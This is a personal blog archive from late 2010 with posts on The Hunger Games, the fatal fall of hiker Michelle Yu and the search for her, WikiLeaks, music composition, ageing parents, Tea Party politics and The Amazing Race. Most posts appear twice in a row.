As a pre-teenager I was having crushes on girls and the occasional boy, (but mostly girls) and I had no context for understanding those powerful feelings at all. All I knew is that I really, really liked whoever I was crushed out about and I wanted to spend time with them and I wanted to tell her how I felt even if I didn't know what I was feeling (I didn't come out until I was 20, so I really was at sea here.)
So what a better situation to tell someone you care about them than a life and death (mostly death) situation where one of you isn't going to live anyway? At nigh as I was going to sleep, I would mentally spin scenarios where I and another girl or even several friends were in a prison or concentration camp and were being systematically tortured and killed, with all the adjunct death scene conversations. Yes, I was a really dark kid, and am lucky to come out of it only with a tendency to get depressed (I think I got addicted to the feeling of your Serotonin level lowering when you get bad news that slowly sinks in - It feels really good for a very brief moment just before things really get awful)
When I understood the scenario of The Hunger Games, I mentally started to shake a little, in more ways than one. The kid who wanted to experience that all over again, and the adult who most definitely did not. Listening to the book was actually very easy and really difficult for me.
The other thing was that kidlet was really really opinionated about the plot and what should happen next. "Well if I were writing it, then this should happen. or this, or this, or maybe this." It was actually pretty exhausing, though I as a adult, who knows how to write, was happy to help briefly before calling time on the whole mental exercise.
My reason for holding it at bay is not wanting to go back to that dark place again. I fear getting stuck there, even though I don't think I would.
And then of course there's the envy/jealousy factor. Susanne Collins had the mental fortitude to turn this all into a book series. I didn't. Part of me knows that I certainly could have done it, but the price was and is much too high for me.
Though this does bring up. Why do we write such things for children? Is it because that's what they want to read? I certainly would of read it as a kid, but I certainly would have been (actually am) a die-hard Harry Potter fan and there's a very marked difference between the incredible intensity of the Potter series and the distressing premise of The Hunger Games. Harry Herminone, and Ron are forced to fight evil, but they are not exactly forced to outright kill other kids. Think how different things would be if Hogwart's was in a bloody war with Slytherin? Feels completely at odds doesn't it?
Anyway, The Hunger Games movie may become a reality in 2013 or so (Lionsgate owns the rights as of this writing). Some rather interesting trailer-like items are on You Tube right now but I don't know what they have to do with anything.
There are other books in the series and I don't know if I'm going to continue or not.
Sunday, December 12, 2010
How to Make Yourself Really Hard to Find - Go the Other Way
Michelle Yu was on a training hike on Mt. San Antonio. Her plan was to climb Mt. San Antonio then go East along the Devil's Backbone and then at the Baldy Notch take the ski lift down.
For reasons no one will know, but can pretty much be only explained by being lost in the fog/cloud, she didn't go East but instead confused everyone by going North towards Dawson Peak and fell into a very steep area called Fish Fork Canyon.
Her body was located at 7900' and the lowest elevation between Mt. San Antonio and Dawson Peak is 8600'. At a minimum she fell 700' but she could have been much higher (like 9400' or even 9600' or even the summit though that seems a stretch). Not surprisingly the cause of death was multiple blunt trauma.
This is a good lesson in how easy it is to be confused when you can't see the area around you. This is a route Yu had taken many times in the past. This is not a choice she intended to make as there wasn't any obvious discernible reason to go North. I have been totally confused when I heard she was in Fish Fork Canyon as when I looked up where Fish Fork Canyon was it didn't have anything to do with where Yu was intending to go. It took this photo from this KTLA video broadcast to really make it clear.
No wonder it took four days to find her. Even if I had a dog with me who said the trail went North I probably would have assumed the dog was mistaken since I know the planned route was East.
This is one situation where a GPS is preferable to map and compass. If you're in a white out a map and compass don't really help as you can't see other features to orient on. However even a compass would have made a difference.
For reasons no one will know, but can pretty much be only explained by being lost in the fog/cloud, she didn't go East but instead confused everyone by going North towards Dawson Peak and fell into a very steep area called Fish Fork Canyon.
Her body was located at 7900' and the lowest elevation between Mt. San Antonio and Dawson Peak is 8600'. At a minimum she fell 700' but she could have been much higher (like 9400' or even 9600' or even the summit though that seems a stretch). Not surprisingly the cause of death was multiple blunt trauma.
This is a good lesson in how easy it is to be confused when you can't see the area around you. This is a route Yu had taken many times in the past. This is not a choice she intended to make as there wasn't any obvious discernible reason to go North. I have been totally confused when I heard she was in Fish Fork Canyon as when I looked up where Fish Fork Canyon was it didn't have anything to do with where Yu was intending to go. It took this photo from this KTLA video broadcast to really make it clear.
No wonder it took four days to find her. Even if I had a dog with me who said the trail went North I probably would have assumed the dog was mistaken since I know the planned route was East.
This is one situation where a GPS is preferable to map and compass. If you're in a white out a map and compass don't really help as you can't see other features to orient on. However even a compass would have made a difference.
Thursday, December 09, 2010
The Michelle Yu Search: Use the Dogs First
Tragically Michelle Yu was killed early this week from a fall during a training hike in the Mt. Baldy area. The coroner's report is not out yet, but it's more than likely that she slipped on some ice in a narrow portion of the area called the Devil's Backbone and fell 1000'-2000' to her death. Her body was located by a helicopter in Fish Forks canyon.
Given that the details of the search wouldn't of affected the outcome I feel that I'm not being terribly tacky in doing some arm chair hindsight looking about the search
When people go missing in the mountains near me I tend to set up a Google Alerts Search. This time because there is more that one Michelle Yu, the keywords I used were: Michelle Yu hiker. As a result I have read every internet post that uses those keywords and am familiar with what the news broadcasts included which included details of her route and I was able to review photos of the trail.
Though she was training alone, her route was a common one and well known. She was going to climb Mt San Antonio then traverse via the Devil's Backbone over the the Mt. Baldy ski lift and ride it down. She was seen at "the top." Which was implied to mean somewhere before the traverse.
The Devil's Backbone is a narrow in places ridge with a series of very steep ravines and canyons along both sides. A map of the route can be found here (her route is the left portion going up to Mt San Antonio and then across to the right). Photos of the trail can be seen here - in particular page down to the 6th photo and imagine that with ice on it - yikes. While her hike was not a technical one, she was surrounded by a whole lot of rugged terrain which is why is took 4 days to locate her body.
After a day or two the broadcasts started mentioning that 4 dogs were now being used. This totally got my attention. "Why only now? That's completely backwards."
I know that 30-40 people were searching for Yu and that's very admirable, but even the news casts admitted that a dog can do the work of 40 people. Granted the terrain was too steep for most dogs, but trail was not. Effective and judicious use of tracking dogs could have saved a ton of time.
One sheriff spokesperson called the search a needle in a haystack. I disagree. Yes, it's a needle in a haystack, but you can make the haystack much smaller. I have only trained one dog to track so I'm no expert but still these questions haunt me.
We know that she was seen near the top of Mt. San Antonio and intended to traverse over to the Mt Baldy ski lift. She never showed up. The traverse is essentially a straight line and she was training, not on some adventure. She was on that traverse, so it doesn't take a genious to figure out that she has probably fallen. So why not drop two dog/handler teams via helicopter at the start of the traverse? And hold the gung ho searchers back before they go tramping all over the track. Have the dogs follow the track until it stops. Then start searching there! Release the gung ho humans and let them try not to kill themselves in the steep areas. I know holding humans back when time is ticking is just awful, but being patient and let the dogs do their job could really pay off.
Given that the details of the search wouldn't of affected the outcome I feel that I'm not being terribly tacky in doing some arm chair hindsight looking about the search
When people go missing in the mountains near me I tend to set up a Google Alerts Search. This time because there is more that one Michelle Yu, the keywords I used were: Michelle Yu hiker. As a result I have read every internet post that uses those keywords and am familiar with what the news broadcasts included which included details of her route and I was able to review photos of the trail.
Though she was training alone, her route was a common one and well known. She was going to climb Mt San Antonio then traverse via the Devil's Backbone over the the Mt. Baldy ski lift and ride it down. She was seen at "the top." Which was implied to mean somewhere before the traverse.
The Devil's Backbone is a narrow in places ridge with a series of very steep ravines and canyons along both sides. A map of the route can be found here (her route is the left portion going up to Mt San Antonio and then across to the right). Photos of the trail can be seen here - in particular page down to the 6th photo and imagine that with ice on it - yikes. While her hike was not a technical one, she was surrounded by a whole lot of rugged terrain which is why is took 4 days to locate her body.
After a day or two the broadcasts started mentioning that 4 dogs were now being used. This totally got my attention. "Why only now? That's completely backwards."
I know that 30-40 people were searching for Yu and that's very admirable, but even the news casts admitted that a dog can do the work of 40 people. Granted the terrain was too steep for most dogs, but trail was not. Effective and judicious use of tracking dogs could have saved a ton of time.
One sheriff spokesperson called the search a needle in a haystack. I disagree. Yes, it's a needle in a haystack, but you can make the haystack much smaller. I have only trained one dog to track so I'm no expert but still these questions haunt me.
We know that she was seen near the top of Mt. San Antonio and intended to traverse over to the Mt Baldy ski lift. She never showed up. The traverse is essentially a straight line and she was training, not on some adventure. She was on that traverse, so it doesn't take a genious to figure out that she has probably fallen. So why not drop two dog/handler teams via helicopter at the start of the traverse? And hold the gung ho searchers back before they go tramping all over the track. Have the dogs follow the track until it stops. Then start searching there! Release the gung ho humans and let them try not to kill themselves in the steep areas. I know holding humans back when time is ticking is just awful, but being patient and let the dogs do their job could really pay off.
Thursday, December 02, 2010
Mixed Feelings about Wiki Leaks
I am a fan of Wiki Leaks and I believe very much that information wants to be free.
The work that they do exposing suppressed information is phenomenal and disturbing.
This CNN video montage shows the US killing innocent civilians including 2 reporters.
http://www.cnn.com/video/#/video/world/2010/12/02/natpkg.wikileaks.role.assange.cnn?hpt=C2
And that's very important information that should be released.
However, honestly I have very mixed feeling about releasing diplomatic cables. We need to provide a place where our diplomats can speak freely, and to have that compromised is worrisome. This isn't military information that someone is trying to hide. It's diplomatic opinions on the stability of leaders and regimes. While I will no doubt read them, I'm not sure how that helps us, but I can guess how it hurts. We already know China and Iran and North Korea are difficult to deal with. Maybe releasing this information is just going to make things harder for our diplomats and I'm not sure I think we're better off knowing that the diplomats agree that those countries are a pain.
The work that they do exposing suppressed information is phenomenal and disturbing.
This CNN video montage shows the US killing innocent civilians including 2 reporters.
http://www.cnn.com/video/#/video/world/2010/12/02/natpkg.wikileaks.role.assange.cnn?hpt=C2
And that's very important information that should be released.
However, honestly I have very mixed feeling about releasing diplomatic cables. We need to provide a place where our diplomats can speak freely, and to have that compromised is worrisome. This isn't military information that someone is trying to hide. It's diplomatic opinions on the stability of leaders and regimes. While I will no doubt read them, I'm not sure how that helps us, but I can guess how it hurts. We already know China and Iran and North Korea are difficult to deal with. Maybe releasing this information is just going to make things harder for our diplomats and I'm not sure I think we're better off knowing that the diplomats agree that those countries are a pain.
Wednesday, November 24, 2010
The Creative Drive; Art and Music
I wonder what the drive to create things is. It's a drive and you can have it even when you don't have the skills to do what you want to do and it can make you (me) crazy.
I'm a good writer, a good photographer, I'm great visualizing things.
I learned to paint decently. I'm not the best drawer but I do ok.
But I struggle with audio and music. I love music and learned guitar at an early age though stopped due to a hand injury though I might be able to do it some now.
But what I'd love to be able to do is composition. Hearing Cirque du Soliel is an exercise in ecstasy and torture as I really would love to be able to create that kind of music, but even after studying composition in college some my mind just doesn't seem to work that way very well. It's a struggle in a way that I have trouble describing, but I'm sure it's similar to people who struggle with visualizing things.
But I don't think I should ever accept "I can't" as by not accepting it I accomplish some very rewarding things.
I can paint, I can run, I am working on being able to climb to altitude, I'm competing in herding with a talented dog who has behavior issues and many people would have given up on him. All these things I had to work at and overcome mental ":I can't" obstacles, and it means so much more when I succeed.
And I've have more training beyond college and guitar lessons. While my hands were injured I couldn't play an instrument, so instead I learned to listen to music very carefully. Someone told me that the brain of a musician listening to music is much more active than the average person and I can totally understand why. When I'm listening to music carefully I can follow the components. What is that violin doing? How about the guitar or the drum, and that vocal is incredible, and is that 3/4 time, funny it's not a waltz but just feels like it...
But there's still a block. I can analyze music up to a point (some things are too subtle for me to follow), but I am just amazed at the incredible complexity that Cirque or Mozart come up with. Not to mention I find a lot of classical music kinda boring (save for Herr Mozart), so I was thrilled when Cirque appeared.
Now I'm realizing what I love is film, play, and even TV (yes, Survivor) music, but I really don't know how to move forward with my enjoyment of it. One way is to get a lot better at the piano (and consider replacing my sorry old completely worthless family piano - though my mother would kill me if she found out.), but what I love is the full effect of all the instruments at once. Real composers can hear the full effect in their head. That's a skill I've yet to develop and I'm not sure how to do it.
There's a scene in a Juliette Binoche film (possibly Alice et Martin or maybe it's the oh so cheery Three Colors: Blue) that I just love. She is composing a piece with her partner. He is playing what they' have so far and she says "Wait Wait" in French "Attend attend..." and then makes a great suggestion of what should be added. I would dearly love to create this way. In DVD special features I love the ones where they talk about the music and the process just as much as I love how they talk about creating the animation and the art.
I'm a good writer, a good photographer, I'm great visualizing things.
I learned to paint decently. I'm not the best drawer but I do ok.
But I struggle with audio and music. I love music and learned guitar at an early age though stopped due to a hand injury though I might be able to do it some now.
But what I'd love to be able to do is composition. Hearing Cirque du Soliel is an exercise in ecstasy and torture as I really would love to be able to create that kind of music, but even after studying composition in college some my mind just doesn't seem to work that way very well. It's a struggle in a way that I have trouble describing, but I'm sure it's similar to people who struggle with visualizing things.
But I don't think I should ever accept "I can't" as by not accepting it I accomplish some very rewarding things.
I can paint, I can run, I am working on being able to climb to altitude, I'm competing in herding with a talented dog who has behavior issues and many people would have given up on him. All these things I had to work at and overcome mental ":I can't" obstacles, and it means so much more when I succeed.
And I've have more training beyond college and guitar lessons. While my hands were injured I couldn't play an instrument, so instead I learned to listen to music very carefully. Someone told me that the brain of a musician listening to music is much more active than the average person and I can totally understand why. When I'm listening to music carefully I can follow the components. What is that violin doing? How about the guitar or the drum, and that vocal is incredible, and is that 3/4 time, funny it's not a waltz but just feels like it...
But there's still a block. I can analyze music up to a point (some things are too subtle for me to follow), but I am just amazed at the incredible complexity that Cirque or Mozart come up with. Not to mention I find a lot of classical music kinda boring (save for Herr Mozart), so I was thrilled when Cirque appeared.
Now I'm realizing what I love is film, play, and even TV (yes, Survivor) music, but I really don't know how to move forward with my enjoyment of it. One way is to get a lot better at the piano (and consider replacing my sorry old completely worthless family piano - though my mother would kill me if she found out.), but what I love is the full effect of all the instruments at once. Real composers can hear the full effect in their head. That's a skill I've yet to develop and I'm not sure how to do it.
There's a scene in a Juliette Binoche film (possibly Alice et Martin or maybe it's the oh so cheery Three Colors: Blue) that I just love. She is composing a piece with her partner. He is playing what they' have so far and she says "Wait Wait" in French "Attend attend..." and then makes a great suggestion of what should be added. I would dearly love to create this way. In DVD special features I love the ones where they talk about the music and the process just as much as I love how they talk about creating the animation and the art.
Thursday, November 18, 2010
When Machines are Unsupervised - autogenerated web sites
You know it happens when you mistype your bank's internet address and you get this weird site where everything is just a strange web search. These sites are just generated by a machine using only keywords and it's maddening.
Well here's one that's gone even further.
This is a site in China that's apparently using purely machine translation:
http://www.frbiz.com/
Pretty much any link has an almost understandable title, but when you get to the content it's utterly strange.
I found this site as it was mysteriously the very first match to my Googling
windows virus hiding places
http://news.frbiz.com/windows_system_the_virus_most-275070.html
Which i can assure you is not comprehensible even to a trained professional.
The second match is only slightly better: It's clearly also Chinese. What's interesting is that it's probably well worth deciphering (this one is sort of understandable) because the Chinese have some of the best in the world hackers so they would likely know.
http://www.softcov.com/anti-virus/windows---system-the-virus-hiding-place-ten.html
Well here's one that's gone even further.
This is a site in China that's apparently using purely machine translation:
http://www.frbiz.com/
Pretty much any link has an almost understandable title, but when you get to the content it's utterly strange.
I found this site as it was mysteriously the very first match to my Googling
windows virus hiding places
http://news.frbiz.com/windows_system_the_virus_most-275070.html
Which i can assure you is not comprehensible even to a trained professional.
The second match is only slightly better: It's clearly also Chinese. What's interesting is that it's probably well worth deciphering (this one is sort of understandable) because the Chinese have some of the best in the world hackers so they would likely know.
http://www.softcov.com/anti-virus/windows---system-the-virus-hiding-place-ten.html
Thursday, November 11, 2010
Another Blogger's :"Stalker"
Another blogger was describing a really funny story of her having a puppy dog type [human] stalker for a period of time while she was at an out-of-town event. The "stalker" was harmless and it was just someone who always arranged to be where ever she was while she was there.
I turned to another blogger (the blogger density was a little high at that moment), and said "She has a stalker. How come we don't have stalkers?" The other blogger made some mention of boring (she was referring to herself which is funny because her blog is definitely not boring) and the one with the stalker does have quite a funny blog and a good size following.
I can't figure out if I'm jealous or not. On the surface, I felt relief that it's not me. I've had to deal with human male puppy dogs in college and it's pretty awkward. It helps that I'm older and married now. But deep down there's an entsy whitezy tintzy part that is envious.
I have to keep in mind that we have vastly different audiences. Her blog is entertaining tales of the adventures of her and her dogs. My main blog is an intensely geeky dog training diary dedicated to addressing the training issues that I face with my dogs. It's not high entertainment mostly - it's me training my dogs one of them who we've been working through serious behavior issues. I'm also so possessive of it intellectually that it's not hosted by blogger, it's on my own site. So there's no commenting and the only way I know people are listening is if they tell me in person or via email.
Then there's this blog: The Non-Dog blog were I rant/whine about whatever the hell I feel like. While it is often entertaining, it has no focus as it's about 3 different blogs in one. And I'm thinking of starting another focused (ha - fat chance) on writing short fictional vinettes based on small bits of reality.
So no blog stalkers. As far as I know. This really is a good thing I must keep reminding myself. I also have to keep in mind that there are particular times when I've chosen not to blog about something as I really didn't want to deal with the truly dangerous types. I do this for fun - I don't need to get hurt or harassed about it. Funny how the Tea Partiers or Sarah Palin don't count as dangerous - yet.
I turned to another blogger (the blogger density was a little high at that moment), and said "She has a stalker. How come we don't have stalkers?" The other blogger made some mention of boring (she was referring to herself which is funny because her blog is definitely not boring) and the one with the stalker does have quite a funny blog and a good size following.
I can't figure out if I'm jealous or not. On the surface, I felt relief that it's not me. I've had to deal with human male puppy dogs in college and it's pretty awkward. It helps that I'm older and married now. But deep down there's an entsy whitezy tintzy part that is envious.
I have to keep in mind that we have vastly different audiences. Her blog is entertaining tales of the adventures of her and her dogs. My main blog is an intensely geeky dog training diary dedicated to addressing the training issues that I face with my dogs. It's not high entertainment mostly - it's me training my dogs one of them who we've been working through serious behavior issues. I'm also so possessive of it intellectually that it's not hosted by blogger, it's on my own site. So there's no commenting and the only way I know people are listening is if they tell me in person or via email.
Then there's this blog: The Non-Dog blog were I rant/whine about whatever the hell I feel like. While it is often entertaining, it has no focus as it's about 3 different blogs in one. And I'm thinking of starting another focused (ha - fat chance) on writing short fictional vinettes based on small bits of reality.
So no blog stalkers. As far as I know. This really is a good thing I must keep reminding myself. I also have to keep in mind that there are particular times when I've chosen not to blog about something as I really didn't want to deal with the truly dangerous types. I do this for fun - I don't need to get hurt or harassed about it. Funny how the Tea Partiers or Sarah Palin don't count as dangerous - yet.
The Follow Through Part of the Brain
So why is it sometimes the "follow through" portion of the brain doesn't seem to connect with anything else?
I was looking all through my parents house for some mail that an insurance company said that they'd sent (and I had no reason to doubt them) I had gone through all the stacked up mail on the living room, the dining room, beside the computer and all its stacks of printed email (there's an age distinction right there - I only print things if I need to take them with me or write on them.) No sign. I addressed the issue with the vendor as best I could anyway, but having mail disappear when i just went through piles and piles of it really seemed strange.
My sister gave me a clue. She thought she saw mom stash mail into the ginormous pile of coupons that Mom likes to go through. (She doesn't actually do anything with the coupons. I've just decided it's her way of shopping.) She couldn't have put mail in there. Right? Could she have? I finally asked. Mom is there any chance that there is mail in your coupon stack? "Oh yes. It looked important so I put it here."(Allegedly to give it to my brother but that never happened). In that stack, were over due notices, a cancellation letter, and a letter that I'd asked to be sent a year ago. "Mom these are really important pieces of mail." Talking to a wall. My dog listens to me better. This is someone who does not have dementia at all, just doesn't get it sometimes.
I grabbed their phone and quietly left the house and proceeded to rant about it to my sister, while I was standing on their driveway. My sister was sympathetic but amused. Mom had put it aside so that my father wouldn't bury it on the kitchen table, and that my brother should see it, but that part (the follow though) didn't happen. Never mind I can find things on the kitchen table. Never mind that burying something in a different pile usually doesn't help, and offers no protection.
Is this our fate? Do parts of our brain stop talking to each other?
I've set up a box titled "Mail" where my mom should put important looking mail into. I explained the idea a few times. I know it's not going to work, but I have to try.
I was looking all through my parents house for some mail that an insurance company said that they'd sent (and I had no reason to doubt them) I had gone through all the stacked up mail on the living room, the dining room, beside the computer and all its stacks of printed email (there's an age distinction right there - I only print things if I need to take them with me or write on them.) No sign. I addressed the issue with the vendor as best I could anyway, but having mail disappear when i just went through piles and piles of it really seemed strange.
My sister gave me a clue. She thought she saw mom stash mail into the ginormous pile of coupons that Mom likes to go through. (She doesn't actually do anything with the coupons. I've just decided it's her way of shopping.) She couldn't have put mail in there. Right? Could she have? I finally asked. Mom is there any chance that there is mail in your coupon stack? "Oh yes. It looked important so I put it here."(Allegedly to give it to my brother but that never happened). In that stack, were over due notices, a cancellation letter, and a letter that I'd asked to be sent a year ago. "Mom these are really important pieces of mail." Talking to a wall. My dog listens to me better. This is someone who does not have dementia at all, just doesn't get it sometimes.
I grabbed their phone and quietly left the house and proceeded to rant about it to my sister, while I was standing on their driveway. My sister was sympathetic but amused. Mom had put it aside so that my father wouldn't bury it on the kitchen table, and that my brother should see it, but that part (the follow though) didn't happen. Never mind I can find things on the kitchen table. Never mind that burying something in a different pile usually doesn't help, and offers no protection.
Is this our fate? Do parts of our brain stop talking to each other?
I've set up a box titled "Mail" where my mom should put important looking mail into. I explained the idea a few times. I know it's not going to work, but I have to try.
Monday, November 01, 2010
Parental Issues Again
I haven't blogged about my parents for a while and it's been a nice break, but I really need to now.
My father is becoming more forgetful and I'm dreading that I need to convince him to see a Dr. about it. If there really is something wrong, there are medications that can help but I have to make a good case without scaring him too much. Being evaluated for cognitive skills is not a slow process and it will take more that getting him to his regular Dr. - he's likely going to also have to see a neurologist or a Dr who specializes in evaluating seniors. My Dad is renowned for arguing with doctors (he has a PhD in Electrical Engineering so he's started pulling this "I'm Dr. Clary" crap - never mind that I have more medical knowledge than he does.) and he's just getting worse about it.
Doing some Googling is just stressing me out. While there are 4 possible medications he has to be actually diagnosed with Alzheimer's (the A word that I've been avoiding) for him to be on them. If it's just Mild Cognitive Impairment (MCI) then there is no medication and the solutions are more along the lines of maintain a health lifestyle, don't drink a lot, and stay organized. (Sigh).
I'm dreading this conversation and I know he's very fearful about it. For his whole life he's been the Alpha Male smartest person in the room, and it's been hell on him. And therefore it's been hard on everyone else.
For whatever reason, I am the one he's the least argumentative with. Probably because I'm the youngest. Anyway convincing him of difficult things usually becomes my job out of necessity. I so do not like this role, but this is something I need to do and if I don't try I will regret it for the rest of my life.
My father is becoming more forgetful and I'm dreading that I need to convince him to see a Dr. about it. If there really is something wrong, there are medications that can help but I have to make a good case without scaring him too much. Being evaluated for cognitive skills is not a slow process and it will take more that getting him to his regular Dr. - he's likely going to also have to see a neurologist or a Dr who specializes in evaluating seniors. My Dad is renowned for arguing with doctors (he has a PhD in Electrical Engineering so he's started pulling this "I'm Dr. Clary" crap - never mind that I have more medical knowledge than he does.) and he's just getting worse about it.
Doing some Googling is just stressing me out. While there are 4 possible medications he has to be actually diagnosed with Alzheimer's (the A word that I've been avoiding) for him to be on them. If it's just Mild Cognitive Impairment (MCI) then there is no medication and the solutions are more along the lines of maintain a health lifestyle, don't drink a lot, and stay organized. (Sigh).
I'm dreading this conversation and I know he's very fearful about it. For his whole life he's been the Alpha Male smartest person in the room, and it's been hell on him. And therefore it's been hard on everyone else.
For whatever reason, I am the one he's the least argumentative with. Probably because I'm the youngest. Anyway convincing him of difficult things usually becomes my job out of necessity. I so do not like this role, but this is something I need to do and if I don't try I will regret it for the rest of my life.
Why is the government the enemy?
GOP has done such a good job of making the government the enemy.
Which is amazing as it was the lack of government limits that allowed the banks and Wall Street to create this most recent economic crash. How do they do that?
A friend is fascinated with how some politicians are so good at using fear that they can convince people to vote against their own interests, like tax cuts for the wealthy, which will hurt them financially because their will be less money for the government to support little things like schools, and streets.
Which is amazing as it was the lack of government limits that allowed the banks and Wall Street to create this most recent economic crash. How do they do that?
A friend is fascinated with how some politicians are so good at using fear that they can convince people to vote against their own interests, like tax cuts for the wealthy, which will hurt them financially because their will be less money for the government to support little things like schools, and streets.
Saturday, October 23, 2010
The Anxiety and Angst of Electronic Storage
This has got to be either pathological or totally human.
My reliance on storing a lot of my life electronically is causing me some existential angst.
In particular with any creative work like photos or writing.
When you have a photograph or a book it exists. You can hold it. but it's also hard to replicate and you can't instantly share it with 300 of your friends which is a highly addictive thing and something I longed for for years.
Electronic storage is a whole lot like life. It can vanish without much warning. Yes, you can make backups, but what if you vanish and the knowledge of how to get to that information dies with you? What then? Some poor soul is left with trying to untangle things and most likely just starts canceling accounts or deleting things. This is probably as it should be, but it's actually causing me some stress. What if there are important photos that someone might want? Certainly even within my family we are systematically casing my parents house for relevant photos. Should I make printouts of every even remotely interesting photo? From the film days I have several hundred photos and I'm always sort of cursed having them, but now I kinda like that they're there. They take up space and no one can make them go poof at the press of a button.
I'm rarely reminded that I'm in my 40's, but maybe this is one of those types of things. That fear of just disappearing even though that is our fate. What I find interesting is that the one thing that I really find reassuring is that I have created a few large paintings that I like enough that i've decorated my house with them. They command a certain presence and there's something about large paintings that seems to earn a certain respect. It makes me want to make more even though I go through a lot less pain with photography. Maybe that's why they get more respect, I can't just click a button, I have to sweat some to make them.
But it's funny. Why do i care? I think it's that fear of just disappearing. Of wanting to control things after I are gone. I keep thinking that I should leave long instructions by my computer about how to get into every account and photo and writing location (like this one) which might not be a bad idea, but it might be easier just to make real copies of things and also make sure everyone knows where the sites are. It would also really help if I had just one photo site, but I have too much stuff for that, so most of it is stored locally and I'm now reminded that I need to back that disk up again.
And just even coming up with a plan is stressful and send me off in to the same "Why do I care?" cycle again. I need to ask other people what they think but this is never an easy question.
My reliance on storing a lot of my life electronically is causing me some existential angst.
In particular with any creative work like photos or writing.
When you have a photograph or a book it exists. You can hold it. but it's also hard to replicate and you can't instantly share it with 300 of your friends which is a highly addictive thing and something I longed for for years.
Electronic storage is a whole lot like life. It can vanish without much warning. Yes, you can make backups, but what if you vanish and the knowledge of how to get to that information dies with you? What then? Some poor soul is left with trying to untangle things and most likely just starts canceling accounts or deleting things. This is probably as it should be, but it's actually causing me some stress. What if there are important photos that someone might want? Certainly even within my family we are systematically casing my parents house for relevant photos. Should I make printouts of every even remotely interesting photo? From the film days I have several hundred photos and I'm always sort of cursed having them, but now I kinda like that they're there. They take up space and no one can make them go poof at the press of a button.
I'm rarely reminded that I'm in my 40's, but maybe this is one of those types of things. That fear of just disappearing even though that is our fate. What I find interesting is that the one thing that I really find reassuring is that I have created a few large paintings that I like enough that i've decorated my house with them. They command a certain presence and there's something about large paintings that seems to earn a certain respect. It makes me want to make more even though I go through a lot less pain with photography. Maybe that's why they get more respect, I can't just click a button, I have to sweat some to make them.
But it's funny. Why do i care? I think it's that fear of just disappearing. Of wanting to control things after I are gone. I keep thinking that I should leave long instructions by my computer about how to get into every account and photo and writing location (like this one) which might not be a bad idea, but it might be easier just to make real copies of things and also make sure everyone knows where the sites are. It would also really help if I had just one photo site, but I have too much stuff for that, so most of it is stored locally and I'm now reminded that I need to back that disk up again.
And just even coming up with a plan is stressful and send me off in to the same "Why do I care?" cycle again. I need to ask other people what they think but this is never an easy question.
Wednesday, October 20, 2010
The Tea Party is a Phase
The breathtaking hypocrisy of the Tea Party (The Threatened [White] Party - people on gov't assistance protesting against the gov't), is just so astounding that the only way I can wrap my mind around it is to believe that it just has to be a phase. Given the average age I don't think I'm too far off. We'll know more in 20 years. Actually we'll know more in a shorter period of time I think.
Rolling Stone has done a couple of articles about them. The latest one being here.
TPer's are so very Us and Them. Even to the point of Good gov't assistance for US, and BAD gov't assistance for all those lazy non-white people who are just sucking the Good people dry. Sigh.
The only odd thing is the people manipulating the TPer's are younger (Paul, Palin and O'Donnell come to mind) and know what buttons to push. Fear sells especially in the Red state areas. And utter stupidity doesn't seem to slow them down, however you know that the people pushing them into the spot light are much smarter. It's enough to make you paranoid, but I believe in our internet age where information travels very quickly and it's much harder to control it - which is why you see a lot of conservatives arguing about facts and creating weird fantasies like Obamacare Death Panels (TM) that they think if they keep repeating enough times it will make it true. Ironically these are tactics that Hitler and Stalin used.
Rolling Stone has done a couple of articles about them. The latest one being here.
TPer's are so very Us and Them. Even to the point of Good gov't assistance for US, and BAD gov't assistance for all those lazy non-white people who are just sucking the Good people dry. Sigh.
The only odd thing is the people manipulating the TPer's are younger (Paul, Palin and O'Donnell come to mind) and know what buttons to push. Fear sells especially in the Red state areas. And utter stupidity doesn't seem to slow them down, however you know that the people pushing them into the spot light are much smarter. It's enough to make you paranoid, but I believe in our internet age where information travels very quickly and it's much harder to control it - which is why you see a lot of conservatives arguing about facts and creating weird fantasies like Obamacare Death Panels (TM) that they think if they keep repeating enough times it will make it true. Ironically these are tactics that Hitler and Stalin used.
Wednesday, October 06, 2010
The Amazing Race in the UK - Shouting at the Screen for Fun and Amusement
I and a huge fan of The Amazing Race. I've seen every one of them.
But they are rarely in places that I've been to, save for US places like San Francisco and Boston and Hawaii. Until now.
In the first episode they went to the UK, landed in Heathrow and went to Stonehenge (http://en.wikipedia.org/wiki/Stonehenge) to pick up a clue and on to Eastnor Castle in Herfordshire (http://www.eastnorcastle.com/).
I've never been to Eastnor which looks lovely when someone isn't dumping water on you, but I have been to Stonehenge and in particular I've driven to Stonehenge.
I've driven in the UK on multiday trips around 3 times. Driving on the left side of the road is a significant adjustment and was a very difficult adjustment the first time I did it. While I was able to drive ok, it took me quite a while to adjust to having the entire rest of the car on my left side. The thought of a bunch of jet-lagged, rushed Americans most who have never driven in the UK, loose in cars that are not small was more than a little alarming and I'm really surprised that there weren't more issues (or accidents) that they had.
When I've driven in the UK (this is pre GPS) I used a 1/2 inch thick driving atlas. Several of them stopped and picked up a map, but that's probably not enough without help as Stonehenge is not off a major motorway, but instead on A-303 (A map is here).
If you're not in a hurry, it's fairly easy to find and a lovely drive. As you might guess our racers did not have quite the nice time. Lots of complaints about no signs which prompted much shouting from me. "They are there if you take the time to read them!"
But to be fair, looking at Streetview there are not giant "Stonehenge this way" signs. Just the highway numbers so you have to know where you want to go. And in the case of the Stonehenge turn off the highway sign is painted on the street (you can see it here.) That never occurred to me before. Your navigator has to be able to see what's painted on the streets and The Amazing Race puts the second person in the back seat to accommodate the camera people. That's a huge handicap.
Though once you get there I assure you you won't need a sign. This is what you see from the highway.
Anyway it's a great episode (the parts at Eastnor Castle are both hilarious and traumatic), and if you see this while the season is running you can watch it here:
http://www.cbs.com/primetime/amazing_race/
But they are rarely in places that I've been to, save for US places like San Francisco and Boston and Hawaii. Until now.
In the first episode they went to the UK, landed in Heathrow and went to Stonehenge (http://en.wikipedia.org/wiki/Stonehenge) to pick up a clue and on to Eastnor Castle in Herfordshire (http://www.eastnorcastle.com/).
I've never been to Eastnor which looks lovely when someone isn't dumping water on you, but I have been to Stonehenge and in particular I've driven to Stonehenge.
I've driven in the UK on multiday trips around 3 times. Driving on the left side of the road is a significant adjustment and was a very difficult adjustment the first time I did it. While I was able to drive ok, it took me quite a while to adjust to having the entire rest of the car on my left side. The thought of a bunch of jet-lagged, rushed Americans most who have never driven in the UK, loose in cars that are not small was more than a little alarming and I'm really surprised that there weren't more issues (or accidents) that they had.
When I've driven in the UK (this is pre GPS) I used a 1/2 inch thick driving atlas. Several of them stopped and picked up a map, but that's probably not enough without help as Stonehenge is not off a major motorway, but instead on A-303 (A map is here).
